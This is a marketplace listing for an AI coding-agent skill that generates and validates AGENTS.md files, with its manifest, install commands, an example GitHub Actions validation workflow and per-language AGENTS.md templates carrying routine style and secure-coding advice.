Claude Skill

agent-rules

Use when creating or updating AGENTS.md files, .github/copilot-instructions.md, or other AI agent rule files, onboarding AI agents to a project, standardizing agent documentation, or when anyone mentions AGENTS.md, agent rules, project onboarding, or codebase documentation for AI

LLM Mart · 0 points · 0 views 22 listing impressions 0 install-command copies
Virus-scanned Reviewed automatically before listing.

Full trust report

Download netresearch-agent-rules-skill-skills_agent-rules-6b2bb77.zip · 271 KB

Install

skills CLI npx skills add https://github.com/netresearch/agent-rules-skill/tree/main/skills/agent-rules
Claude Code claude plugin marketplace add https://llmmart.ai/marketplace.json && claude plugin install netresearch-agent-rules-skill@llmmart
Git git clone https://github.com/netresearch/agent-rules-skill.git

The skills CLI installs just this skill, for any of its supported agents. Claude Code installs the whole netresearch/agent-rules-skill collection as a plugin from our marketplace. Git is the plain clone.

Skill manifest

AGENTS.md Generator Skill

Generate and maintain AGENTS.md files following the agents.md convention. AGENTS.md is FOR AGENTS, not humans.

When to Use

  • Creating or updating AGENTS.md for new/existing projects
  • Scaffolding a new repository — ship AGENTS.md with the initial commits; retrofitting later needs full re-verification
  • Standardizing agent documentation across repositories
  • Checking AGENTS.md freshness after code changes
  • Onboarding AI agents to an unfamiliar codebase

Scripts

Call every script by its full path: bash ${CLAUDE_SKILL_DIR}/scripts/<name> PATH. Calling one relative to the working directory is not covered by the frontmatter rule and raises a permission prompt per call.

Script Purpose
generate-agents.sh PATH Generate AGENTS.md files
validate-structure.sh PATH Validate structure compliance
check-freshness.sh PATH Check if files are outdated
verify-content.sh PATH Verify documented files/commands match codebase
verify-commands.sh PATH Verify documented commands execute
score-agents.sh PATH Grade AGENTS.md quality, worst-first
detect-project.sh PATH Detect language, version, build tools
detect-scopes.sh PATH Identify directories needing scoped files
extract-commands.sh PATH Extract commands from build configs
extract-ci-rules.sh PATH Extract CI quality gates and version matrix
extract-architecture-rules.sh PATH Extract module boundaries
extract-adrs.sh PATH Extract architectural decision records
extract-github-rulesets.sh PATH Extract GitHub rulesets and merge rules

See references/scripts-guide.md for full options.

Workflow

  1. Detect: detect-project.sh + detect-scopes.sh — stacks and subsystems
  2. Extract: extract-commands.sh, extract-ci-rules.sh — gather facts
  3. Generate: generate-agents.sh --style=thin (default) or --verbose
  4. Verify: verify-content.sh + verify-commands.sh -- MANDATORY before done

--update preserves curated content outside <!-- GENERATED --> markers.

Core Principles

  • Structured over Prose -- tables parse faster than paragraphs
  • Never Fabricate -- only document what exists; verify every command and path
  • Pointer Principle -- point to files, don't duplicate content
  • Auto Symlinks -- CLAUDE.md/GEMINI.md by default (ai-tool-compatibility.md)

References

File Contents
verification-guide.md Verification steps, anti-bloat, preservation check
fleet-sync-sweep.md Fleet-wide AGENTS.md sweeps
scripts-guide.md Script options, validation checklist
quality-rubric.md Grading rubric
ai-tool-compatibility.md 16-agent compatibility matrix
output-structure.md Root/scoped sections
git-hooks-setup.md Hook framework setup
examples/ Complete examples
ai-contribution-guidelines.md "3 Cs" AI-contribution framework
directory-coverage.md Scoped-file coverage rationale
feedback-memory-schema.md Approved-learning file format

Templates

Root: assets/root-thin.md (default) or root-verbose.md. Scoped: assets/scoped/, one per stack (Go/PHP/Python/TYPO3/Symfony/Oro/CLI/TS/skill-repo).

Supported Projects

Go, PHP (Composer/Laravel/Symfony/TYPO3/Oro), TypeScript (React/Next/Vue/Node), Python (pip/poetry/ruff/mypy), skill repos, hybrid.

See Also

Files (agent-rules-skill)
  • assets
    • example-workflows
      • validate-agents.yml 2.8 KB
        # Example GitHub Actions workflow for validating AGENTS.md files
        # Copy this to your repository's .github/workflows/ directory
        #
        # This workflow runs on:
        # - Push/PR to any AGENTS.md file
        # - Manual dispatch
        #
        # Customize the validation steps to match your project's setup.
        
        name: Validate AGENTS.md
        
        on:
          push:
            paths:
              - 'AGENTS.md'
              - '**/AGENTS.md'
          pull_request:
            paths:
              - 'AGENTS.md'
              - '**/AGENTS.md'
          workflow_dispatch:
        
        jobs:
          validate:
            runs-on: ubuntu-latest
            steps:
              - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0
        
              - name: Check AGENTS.md exists
                run: |
                  if [ ! -f "AGENTS.md" ]; then
                    echo "ERROR: AGENTS.md not found in repository root"
                    exit 1
                  fi
                  echo "AGENTS.md found"
        
              - name: Validate structure
                run: |
                  # Check for required sections (customize this list for your needs)
                  required_sections=(
                    "## Overview"
                    "## Commands"
                  )
        
                  for section in "${required_sections[@]}"; do
                    if ! grep -qi "^$section" AGENTS.md; then
                      echo "WARNING: Missing section: $section"
                    fi
                  done
                  echo "Structure validation complete"
        
              - name: Check for unresolved placeholders
                run: |
                  # Fail if {{PLACEHOLDER}} patterns exist
                  if grep -E '\{\{[A-Z][A-Z0-9_]*\}\}' AGENTS.md; then
                    echo "ERROR: Found unresolved placeholders"
                    exit 1
                  fi
                  echo "No unresolved placeholders"
        
              - name: Check for stale content
                run: |
                  # Error if unresolved template placeholders exist
                  if grep -qE '\{\{[A-Z_]+\}\}' AGENTS.md; then
                    echo "ERROR: Found unresolved template placeholders - regenerate AGENTS.md"
                    exit 1
                  fi
        
                  # Check freshness (optional - customize days threshold)
                  if grep -q "Last updated:" AGENTS.md; then
                    last_updated=$(grep "Last updated:" AGENTS.md | grep -oE '[0-9]{4}-[0-9]{2}-[0-9]{2}' | head -1)
                    if [ -n "$last_updated" ]; then
                      days_old=$(( ($(date +%s) - $(date -d "$last_updated" +%s)) / 86400 ))
                      if [ "$days_old" -gt 90 ]; then
                        echo "WARNING: AGENTS.md is $days_old days old - consider updating"
                      fi
                    fi
                  fi
                  echo "Freshness check complete"
        
              # Optional: Verify documented commands work
              # Uncomment and customize for your project
              # - name: Verify commands
              #   run: |
              #     # Example: check that npm scripts exist
              #     if [ -f "package.json" ]; then
              #       # Extract commands from AGENTS.md and verify they exist
              #       echo "Verifying npm commands..."
              #     fi
        
    • scoped
      • backend-go.md 3.6 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Setup & environment
        {{INSTALL_LINE}}
        {{GO_VERSION_LINE}}
        {{GO_TOOLS_LINE}}
        {{ENV_VARS_LINE}}
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Build & tests
        {{VET_LINE}}
        {{FORMAT_LINE}}
        {{LINT_LINE}}
        {{GOVULNCHECK_LINE}}
        {{TEST_LINE}}
        {{TEST_RACE_LINE}}
        {{TEST_SINGLE_LINE}}
        {{FUZZ_LINE}}
        {{BUILD_LINE}}
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Code style & conventions
        - Follow Go 1.{{GO_MINOR_VERSION}} idioms
        - Use standard library over external deps when possible
        - Errors: wrap with `fmt.Errorf("context: %w", err)`, lowercase no punctuation
        - Naming: `camelCase` for private, `PascalCase` for exported; ID/URL/HTTP not Id/Url/Http
        - Struct tags: use canonical form (json, yaml, etc.)
        - Comments: complete sentences ending with period
        - Package docs: first sentence summarizes purpose
        - Prefer `any` over `interface{}`; use generics `[T any]` where appropriate
        - Run `go fix ./...` after Go version upgrades to apply modernizers
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - Validate all inputs from external sources
        - Use `context.Context` for cancellation and timeouts
        - Avoid goroutine leaks: always ensure termination paths
        - Sensitive data: never log or include in errors
        - SQL: use parameterized queries only
        - File paths: validate and sanitize user-provided paths
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START quality-gates -->
        ## Quality gates
        Run these checks before completing any review:
        ```bash
        golangci-lint run --timeout 5m    # Linting (golangci-lint v2)
        go vet ./...                       # Static analysis
        govulncheck ./...                  # Vulnerability scan
        go test -race ./...                # Race detection
        ```
        <!-- AGENTS-GENERATED:END quality-gates -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        {{TEST_CHECKLIST_LINE}}
        {{LINT_CHECKLIST_LINE}}
        {{FORMAT_CHECKLIST_LINE}}
        - [ ] `govulncheck ./...` reports no vulnerabilities
        - [ ] No goroutine leaks (ensure termination paths)
        - [ ] Error messages are descriptive and wrapped with `%w`
        - [ ] Public APIs have godoc comments
        - [ ] `context.Context` passed and respected in all I/O paths
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        
        Key patterns:
        - Context handling: always pass and respect `context.Context`
        - Interfaces: define where used, not where implemented
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - Check Go documentation: https://pkg.go.dev
        - Review existing patterns in this codebase
        - Check root AGENTS.md for project-wide conventions
        - Run `go doc <package>` for standard library help
        <!-- AGENTS-GENERATED:END help -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • backend-php.md 3 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Setup & environment
        {{INSTALL_LINE}}
        {{PHP_VERSION_LINE}}
        {{FRAMEWORK_LINE}}
        {{PHP_EXTENSIONS_LINE}}
        {{ENV_VARS_LINE}}
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Build & tests
        {{TYPECHECK_LINE}}
        {{FORMAT_LINE}}
        {{LINT_LINE}}
        {{TEST_LINE}}
        {{BUILD_LINE}}
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Code style & conventions
        - Follow PSR-12 coding standard
        - Use strict types: `declare(strict_types=1);`
        - Type hints: always use for parameters and return types
        - Naming: `camelCase` for methods, `PascalCase` for classes
        - Visibility: always declare (public, protected, private)
        - PHPDoc: required for public APIs, include `@param` and `@return`
        {{FRAMEWORK_CONVENTIONS}}
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - Validate and sanitize all user inputs
        - Use prepared statements for database queries
        - Escape output in templates
        - Never use dynamic code execution functions
        - Sensitive data: never log or expose in errors
        - CSRF protection: enable for all forms
        - XSS protection: escape all user-generated content
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        {{TEST_CHECKLIST_LINE}}
        {{TYPECHECK_CHECKLIST_LINE}}
        {{FORMAT_CHECKLIST_LINE}}
        - [ ] No deprecated functions used
        - [ ] Public methods have PHPDoc
        - [ ] Security: inputs validated, outputs escaped
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - Check PHP documentation: https://www.php.net
        {{FRAMEWORK_DOCS_LINE}}
        - Review existing patterns in this codebase
        - Check root AGENTS.md for project-wide conventions
        <!-- AGENTS-GENERATED:END help -->
        
        <!-- AGENTS-GENERATED:START skill-reference -->
        ## Skill Reference
        > For PHP 8.x modernization, type safety, and PHPStan compliance:
        > **Invoke skill:** `php-modernization`
        >
        > For Symfony projects, use the dedicated `symfony.md` scoped template instead of this generic PHP template.
        <!-- AGENTS-GENERATED:END skill-reference -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • backend-python.md 2.6 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Setup & environment
        {{INSTALL_LINE}}
        {{PYTHON_VERSION_LINE}}
        {{PACKAGE_MANAGER_LINE}}
        {{VENV_LINE}}
        {{ENV_VARS_LINE}}
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Build & tests
        {{TYPECHECK_LINE}}
        {{FORMAT_LINE}}
        {{LINT_LINE}}
        {{TEST_LINE}}
        {{BUILD_LINE}}
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Code style & conventions
        - Follow PEP 8 style guide
        - Use type hints for all function signatures
        - Naming: `snake_case` for functions/variables, `PascalCase` for classes
        - Docstrings: Google style, required for public APIs
        - Imports: group by stdlib, third-party, local (use isort)
        - Modern Python: prefer `|` over `Union`, `list` over `List`
        {{FRAMEWORK_CONVENTIONS}}
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - Validate and sanitize all user inputs
        - Use parameterized queries for database access
        - Never use dynamic code execution with untrusted data
        - Sensitive data: never log or expose in errors
        - File paths: validate and use `pathlib` for path operations
        - Subprocess: use list args, avoid shell=True with user input
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        {{TEST_CHECKLIST_LINE}}
        {{TYPECHECK_CHECKLIST_LINE}}
        {{LINT_CHECKLIST_LINE}}
        {{FORMAT_CHECKLIST_LINE}}
        - [ ] Public functions have docstrings
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - Check Python documentation: https://docs.python.org
        - Review existing patterns in this codebase
        - Check root AGENTS.md for project-wide conventions
        - Use `python -m pydoc <module>` for stdlib help
        <!-- AGENTS-GENERATED:END help -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • backend-typescript.md 2.8 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Setup & environment
        {{INSTALL_LINE}}
        {{NODE_VERSION_LINE}}
        {{PACKAGE_MANAGER_LINE}}
        {{RUNTIME_LINE}}
        {{ENV_VARS_LINE}}
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Build & tests
        {{TYPECHECK_LINE}}
        {{FORMAT_LINE}}
        {{LINT_LINE}}
        {{TEST_LINE}}
        {{BUILD_LINE}}
        {{DEV_LINE}}
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Code style & conventions
        - Use TypeScript strict mode (`strict: true` in tsconfig)
        - No `any` without explicit justification comment
        - Prefer `interface` over `type` for object shapes
        - Naming: `camelCase` for functions/vars, `PascalCase` for classes/types
        - Async/await over raw Promises
        - Prefer `const` over `let`, never use `var`
        - Destructure objects and arrays when appropriate
        {{FRAMEWORK_CONVENTIONS}}
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - Validate all user inputs (use zod or similar)
        - Parameterized queries only (no string concatenation)
        - Never use dynamic code execution with user data
        - Sensitive data: never log or expose in errors
        - Environment: use dotenv, never hardcode secrets
        - CORS: configure explicitly, no wildcard in production
        - Rate limiting: implement for public endpoints
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        {{TEST_CHECKLIST_LINE}}
        {{TYPECHECK_CHECKLIST_LINE}}
        {{LINT_CHECKLIST_LINE}}
        {{FORMAT_CHECKLIST_LINE}}
        - [ ] No `any` types without justification
        - [ ] API endpoints have validation
        - [ ] Error responses don't leak internals
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - Check Node.js docs: https://nodejs.org/docs
        - TypeScript handbook: https://www.typescriptlang.org/docs
        - Review existing patterns in this codebase
        - Check root AGENTS.md for project-wide conventions
        <!-- AGENTS-GENERATED:END help -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • claude-code-skill.md 3.4 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Setup & environment
        {{PLUGIN_JSON_LINE}}
        {{SKILLS_LINE}}
        {{INSTALL_LINE}}
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START structure -->
        ## Directory structure
        ```
        .claude-plugin/
          plugin.json          → Plugin manifest (name, version, skills)
        skills/
          <skill-name>/
            SKILL.md           → Skill definition and instructions
            assets/            → Templates, reference docs
            scripts/           → Shell scripts for automation
            references/        → Examples, golden samples
        ```
        <!-- AGENTS-GENERATED:END structure -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Build & tests
        {{LINT_LINE}}
        {{TEST_LINE}}
        {{VALIDATE_LINE}}
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Code style & conventions
        - SKILL.md: Clear, actionable instructions for AI agents
        - Shell scripts: Follow ShellCheck recommendations
        - Templates: Use `{{PLACEHOLDER}}` syntax for variables
        - Keep skills focused on one domain/task
        - Include checkpoints for verification
        - Provide golden samples for pattern demonstration
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START skill-design -->
        ## Skill design principles
        - **Actionable**: Tell agents WHAT to do, not just WHAT things are
        - **Verifiable**: Include checkpoints agents can run to verify work
        - **Scoped**: One skill = one domain (don't mix concerns)
        - **Referenced**: Point to golden samples, not generic examples
        - **Minimal**: Include only what agents need; avoid documentation bloat
        <!-- AGENTS-GENERATED:END skill-design -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - Never include secrets or credentials in skills
        - Validate all user inputs in scripts
        - Use placeholder values in examples: `your-api-key`, `example.com`
        - Review generated content for sensitive information
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        {{LINT_CHECKLIST_LINE}}
        - [ ] SKILL.md instructions are clear and actionable
        - [ ] Templates use whole-line placeholders (not inline)
        - [ ] Golden samples exist for key patterns
        - [ ] Checkpoints are verifiable
        - [ ] plugin.json version updated if releasing
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - Check existing skills for patterns
        - Review Claude Code documentation
        - Test skills with `claude --skill <name>`
        - Check root AGENTS.md for project conventions
        <!-- AGENTS-GENERATED:END help -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • cli.md 2.7 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Setup & environment
        {{SETUP_INSTRUCTIONS}}
        {{CLI_FRAMEWORK_LINE}}
        {{BUILD_OUTPUT_LINE}}
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Build & tests
        {{BUILD_LINE}}
        {{RUN_LINE}}
        {{TEST_LINE}}
        {{LINT_LINE}}
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Code style & conventions
        {{CLI_FRAMEWORK_CONVENTION_LINE}}
        - Provide `--help` for all commands and subcommands
        - Use `--version` to display version information
        - Exit codes: 0 = success, 1 = general error, 2 = usage error
        - Output: structured (JSON) for scripts, human-readable for interactive
        - Errors: write to stderr, not stdout
        - Progress: show for long-running operations
        - Interactive prompts: support non-interactive mode with flags
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - Validate all file paths and prevent directory traversal
        - Never execute user-provided code without explicit confirmation
        - Sensitive data: never log or display in plain text
        - Config files: validate schema and permissions
        - Network operations: timeout and retry with backoff
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        - [ ] `--help` text is clear and accurate
        - [ ] `--version` displays correct version
        - [ ] Exit codes are correct
        - [ ] Errors go to stderr
        - [ ] Long operations show progress
        - [ ] Works in non-interactive mode
        - [ ] Tests cover main workflows
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        {{CLI_FRAMEWORK_DOCS_LINE}}
        - Check existing commands for patterns
        - Test with `--help` to ensure clarity
        - Check root AGENTS.md for project conventions
        <!-- AGENTS-GENERATED:END help -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • concourse.md 5.2 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Pipeline configuration
        {{PIPELINE_COUNT_LINE}}
        {{TASKS_LINE}}
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START structure -->
        ## Directory structure
        ```
        ci/
          pipeline.yml          → Main pipeline definition
          pipeline-*.yml        → Additional pipelines (optional)
          tasks/
            build.yml           → Task definitions
            test.yml
            deploy.yml
          scripts/
            build.sh            → Task scripts
            test.sh
        ```
        <!-- AGENTS-GENERATED:END structure -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Pipeline conventions
        - **Resources first**: Define all resources at top of pipeline
        - **Jobs reference resources**: Use `get:` and `put:` for resource I/O
        - **Tasks are reusable**: Define tasks in separate files under `ci/tasks/`
        - **Params over hardcoding**: Use `((params))` for configuration
        - **YAML anchors**: Use anchors for repeated configuration
        
        ### Naming conventions
        | Type | Convention | Example |
        |------|------------|---------|
        | Resource | kebab-case | `source-code`, `docker-image` |
        | Job | kebab-case with verb | `build-app`, `deploy-staging` |
        | Task | kebab-case | `run-tests`, `push-image` |
        | Param | snake_case | `docker_repo`, `deploy_env` |
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START patterns -->
        ## Common patterns
        
        ### Basic pipeline structure
        ```yaml
        resources:
          - name: source-code
            type: git
            source:
              uri: ((git_uri))
              branch: main
        
          - name: app-image
            type: registry-image
            source:
              repository: ((docker_repo))
        
        jobs:
          - name: build-and-test
            plan:
              - get: source-code
                trigger: true
              - task: run-tests
                file: source-code/ci/tasks/test.yml
              - task: build-image
                privileged: true
                config:
                  platform: linux
                  image_resource:
                    type: registry-image
                    source: {repository: concourse/oci-build-task}
                  inputs:
                    - name: source-code
                  outputs:
                    - name: image
                  run:
                    path: build
              - put: app-image
                params:
                  image: image/image.tar
        ```
        
        ### Task definition (ci/tasks/test.yml)
        ```yaml
        platform: linux
        
        image_resource:
          type: registry-image
          source:
            repository: node
            tag: "20"
        
        inputs:
          - name: source-code
        
        run:
          path: /bin/sh
          args:
            - -c
            - |
              cd source-code
              npm ci
              npm test
        ```
        
        ### Multi-environment deployment
        ```yaml
        jobs:
          - name: deploy-staging
            plan:
              - get: source-code
                passed: [build-and-test]
                trigger: true
              - task: deploy
                file: source-code/ci/tasks/deploy.yml
                params:
                  ENVIRONMENT: staging
        
          - name: deploy-production
            plan:
              - get: source-code
                passed: [deploy-staging]
              - task: deploy
                file: source-code/ci/tasks/deploy.yml
                params:
                  ENVIRONMENT: production
        ```
        
        ### Using across step for parallel deploys
        ```yaml
        - across:
            - var: region
              values: [us-east-1, eu-west-1, ap-southeast-1]
          task: deploy-region
          file: ci/tasks/deploy.yml
          params:
            REGION: ((.:region))
        ```
        <!-- AGENTS-GENERATED:END patterns -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - Store secrets in **Vault** or **CredHub**, never in pipeline YAML
        - Use **((params))** syntax for all sensitive values
        - **Privileged containers** only for image building (oci-build-task)
        - Pin **resource versions** for reproducibility
        - Use **webhook tokens** with secrets for triggers
        - Review **fly set-pipeline** changes before applying
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        - [ ] Pipeline validates: `fly validate-pipeline -c pipeline.yml`
        - [ ] Resources have appropriate `check_every` intervals
        - [ ] Tasks are defined in separate files (not inline)
        - [ ] Secrets use ((param)) syntax, not hardcoded
        - [ ] Jobs have appropriate `passed:` constraints
        - [ ] Triggers are on correct resources only
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - Concourse docs: https://concourse-ci.org/docs.html
